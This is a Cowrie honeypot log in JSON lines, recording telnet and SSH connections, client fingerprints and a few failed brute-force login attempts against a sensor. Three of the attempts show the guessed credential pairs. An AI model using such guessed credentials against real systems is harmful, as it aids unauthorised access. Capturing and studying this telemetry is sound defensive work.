{"eventid":"cowrie.session.closed","duration":32.52354621887207,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:30.723673Z","src_ip":"209.159.146.115","session":"cac67abfd612","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37150,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ba3cdc09013","protocol":"telnet","message":"New connection: 23.254.167.244:37150 (159.203.135.109:23) [session: 2ba3cdc09013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:31.032490Z"}
{"eventid":"cowrie.session.closed","duration":36.4950168132782,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:31.739524Z","src_ip":"23.254.167.244","session":"2d5b7e87cc5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.135246992111206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:32.112234Z","src_ip":"117.53.44.204","session":"ebb71ba765ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38616,"dst_ip":"159.203.135.109","dst_port":23,"session":"58892ee5fefc","protocol":"telnet","message":"New connection: 23.254.167.244:38616 (159.203.135.109:23) [session: 58892ee5fefc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:32.711600Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58146,"dst_ip":"159.203.135.109","dst_port":23,"session":"94e233137cb4","protocol":"telnet","message":"New connection: 209.159.146.115:58146 (159.203.135.109:23) [session: 94e233137cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:33.064744Z"}
{"eventid":"cowrie.session.closed","duration":32.31123399734497,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:34.003881Z","src_ip":"23.254.167.244","session":"3f8383474662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.168628692626953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:34.147128Z","src_ip":"117.53.44.204","session":"58a9701ccd89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90530514717102,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:34.176057Z","src_ip":"117.53.44.204","session":"7cea5b279724","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42820,"dst_ip":"159.203.135.109","dst_port":23,"session":"436749cf865c","protocol":"telnet","message":"New connection: 209.159.146.115:42820 (159.203.135.109:23) [session: 436749cf865c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:34.883702Z"}
{"eventid":"cowrie.session.closed","duration":30.66098928451538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:35.134391Z","src_ip":"117.53.44.204","session":"2e2767f378ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":42448,"dst_ip":"159.203.135.109","dst_port":23,"session":"005548bdcc9f","protocol":"telnet","message":"New connection: 117.53.44.204:42448 (159.203.135.109:23) [session: 005548bdcc9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:35.924937Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":54786,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d0b36e13e46","protocol":"ssh","message":"New connection: 157.66.34.121:54786 (159.203.135.109:22) [session: 1d0b36e13e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:36.108552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:36.112775Z","src_ip":"157.66.34.121","session":"1d0b36e13e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.416492462158203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:36.134918Z","src_ip":"117.53.44.204","session":"82dba9585c11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42574,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b7547d53608","protocol":"telnet","message":"New connection: 23.254.167.244:42574 (159.203.135.109:23) [session: 4b7547d53608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:36.177769Z"}
{"eventid":"cowrie.session.closed","duration":36.96800684928894,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:36.333798Z","src_ip":"23.254.167.244","session":"c62346b0306c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:36.345034Z","src_ip":"157.66.34.121","session":"1d0b36e13e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":42462,"dst_ip":"159.203.135.109","dst_port":23,"session":"17aea038a038","protocol":"telnet","message":"New connection: 117.53.44.204:42462 (159.203.135.109:23) [session: 17aea038a038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:36.711041Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":42472,"dst_ip":"159.203.135.109","dst_port":23,"session":"2917c69d0908","protocol":"telnet","message":"New connection: 117.53.44.204:42472 (159.203.135.109:23) [session: 2917c69d0908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:36.735243Z"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest2024","message":"login attempt [ftptest/ftptest2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:37.307925Z","src_ip":"157.66.34.121","session":"1d0b36e13e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.701760053634644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:38.113506Z","src_ip":"117.53.44.204","session":"a27e2955d1ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90916395187378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:38.119862Z","src_ip":"117.53.44.204","session":"8ff0c843bd00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:38.543160Z","src_ip":"157.66.34.121","session":"1d0b36e13e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.59209680557251,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:40.579246Z","src_ip":"23.254.167.244","session":"506e442d4b65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.53982448577881,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:40.698954Z","src_ip":"23.254.167.244","session":"4c73f5a2b66b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49114,"dst_ip":"159.203.135.109","dst_port":23,"session":"eadf844faa5e","protocol":"telnet","message":"New connection: 23.254.167.244:49114 (159.203.135.109:23) [session: eadf844faa5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:41.633163Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40782,"dst_ip":"159.203.135.109","dst_port":22,"session":"95d9bbec90e2","protocol":"ssh","message":"New connection: 159.203.92.129:40782 (159.203.135.109:22) [session: 95d9bbec90e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:42.077899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:42.082510Z","src_ip":"159.203.92.129","session":"95d9bbec90e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:42.086716Z","src_ip":"159.203.92.129","session":"95d9bbec90e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anj","password":"anj","message":"login attempt [anj/anj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:42.097532Z","src_ip":"159.203.92.129","session":"95d9bbec90e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51404,"dst_ip":"159.203.135.109","dst_port":23,"session":"398ef497158e","protocol":"telnet","message":"New connection: 23.254.167.244:51404 (159.203.135.109:23) [session: 398ef497158e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:42.545597Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:43.106993Z","src_ip":"159.203.92.129","session":"95d9bbec90e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.48435354232788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:45.126050Z","src_ip":"117.53.44.204","session":"0140dceb35fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.563114404678345,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:46.722152Z","src_ip":"209.159.146.115","session":"901a421067e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.138729095458984,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:50.098083Z","src_ip":"23.254.167.244","session":"0366de7eab6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33610,"dst_ip":"159.203.135.109","dst_port":23,"session":"afd0ffd196c7","protocol":"telnet","message":"New connection: 23.254.167.244:33610 (159.203.135.109:23) [session: afd0ffd196c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:50.909600Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":32796,"dst_ip":"159.203.135.109","dst_port":23,"session":"20826d214a9f","protocol":"telnet","message":"New connection: 23.254.167.244:32796 (159.203.135.109:23) [session: 20826d214a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:51.084606Z"}
{"eventid":"cowrie.session.closed","duration":30.281419038772583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:51.131120Z","src_ip":"117.53.44.204","session":"c77de7cf4bad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56544041633606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:52.313859Z","src_ip":"117.53.44.204","session":"e579ef9193e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68355417251587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:53.137588Z","src_ip":"117.53.44.204","session":"5a621c51ef60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41244626045227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:53.161553Z","src_ip":"117.53.44.204","session":"fdf0409665d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815579175949097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:53.200339Z","src_ip":"117.53.44.204","session":"2a09cb0609b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507858753204346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:54.117357Z","src_ip":"117.53.44.204","session":"f0b87e6f28eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.72314476966858,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:54.495544Z","src_ip":"209.159.146.115","session":"084114918106","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41002,"dst_ip":"159.203.135.109","dst_port":23,"session":"0718fe42ae2f","protocol":"telnet","message":"New connection: 209.159.146.115:41002 (159.203.135.109:23) [session: 0718fe42ae2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:55.814333Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39782,"dst_ip":"159.203.135.109","dst_port":23,"session":"f809494bb163","protocol":"telnet","message":"New connection: 23.254.167.244:39782 (159.203.135.109:23) [session: f809494bb163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:55.993223Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39888,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fe410b67643","protocol":"telnet","message":"New connection: 23.254.167.244:39888 (159.203.135.109:23) [session: 8fe410b67643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:56.028000Z"}
{"eventid":"cowrie.session.closed","duration":34.29286026954651,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:56.884015Z","src_ip":"209.159.146.115","session":"ea34b4c72925","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14965534210205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:57.235423Z","src_ip":"117.53.44.204","session":"2c179b183bcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":54796,"dst_ip":"159.203.135.109","dst_port":22,"session":"c36260e21b1e","protocol":"ssh","message":"New connection: 186.13.24.118:54796 (159.203.135.109:22) [session: c36260e21b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:57.379980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:57.384792Z","src_ip":"186.13.24.118","session":"c36260e21b1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:57.559726Z","src_ip":"186.13.24.118","session":"c36260e21b1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin01","password":"123456","message":"login attempt [admin01/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:58.289425Z","src_ip":"186.13.24.118","session":"c36260e21b1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:59.467176Z","src_ip":"186.13.24.118","session":"c36260e21b1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.402679443359375,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:00.894614Z","src_ip":"23.254.167.244","session":"d96c61e3392e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50190,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f925e9054d2","protocol":"telnet","message":"New connection: 23.254.167.244:50190 (159.203.135.109:23) [session: 7f925e9054d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:04.091557Z"}
{"eventid":"cowrie.session.closed","duration":35.280367851257324,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:04.467970Z","src_ip":"23.254.167.244","session":"ade9304a1951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50058,"dst_ip":"159.203.135.109","dst_port":23,"session":"aabf4e28a07f","protocol":"telnet","message":"New connection: 209.159.146.115:50058 (159.203.135.109:23) [session: aabf4e28a07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:04.594640Z"}
{"eventid":"cowrie.session.closed","duration":32.2413604259491,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:04.952876Z","src_ip":"23.254.167.244","session":"58892ee5fefc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":53200,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d8da977b79","protocol":"telnet","message":"New connection: 23.254.167.244:53200 (159.203.135.109:23) [session: 73d8da977b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:05.327460Z"}
{"eventid":"cowrie.session.closed","duration":32.33206605911255,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:05.396723Z","src_ip":"209.159.146.115","session":"94e233137cb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.040364503860474,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:06.072751Z","src_ip":"23.254.167.244","session":"2ba3cdc09013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55452,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f71a392c3e7","protocol":"telnet","message":"New connection: 23.254.167.244:55452 (159.203.135.109:23) [session: 1f71a392c3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:06.628192Z"}
{"eventid":"cowrie.session.closed","duration":30.390462398529053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:07.125612Z","src_ip":"117.53.44.204","session":"2917c69d0908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.434136152267456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:07.145067Z","src_ip":"117.53.44.204","session":"17aea038a038","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30649161338806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:07.231304Z","src_ip":"117.53.44.204","session":"005548bdcc9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.644081592559814,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:07.527669Z","src_ip":"209.159.146.115","session":"436749cf865c","protocol":"telnet"}
